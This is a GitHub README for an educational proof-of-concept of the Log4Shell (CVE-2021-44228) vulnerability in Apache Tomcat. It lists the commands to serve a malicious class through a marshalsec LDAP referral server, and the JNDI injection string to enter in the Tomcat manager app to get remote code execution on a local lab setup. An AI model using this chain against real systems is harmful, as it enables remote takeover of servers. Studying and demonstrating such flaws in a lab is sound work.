Skip to content

Latest commit

 

History

History
36 lines (26 loc) · 857 Bytes

README.md

File metadata and controls

36 lines (26 loc) · 857 Bytes

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat

Preview

GIF

Setup

Start tomcat server

git clone
cd apache-tomcat-10.0.14/bin
startup.bat

Serve the exploit class

cd exploit
py -m http.server 8888
cd exploit
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Attack

Input ${jndi:ldap://127.0.0.1:1389/Exploit} in the field 'XML Configuration file path' inside http://localhost:8080/manager/html manager app

Exploit class is loaded and RCE loaded (Calculator app will be opened)

Disclaimer

The repo is just a POC done for educational purpose. The repo owner is not responsible for any damages done. As a moral note, Don't be evil.

References

LDAP exploit https://github.com/mbechler/marshalsec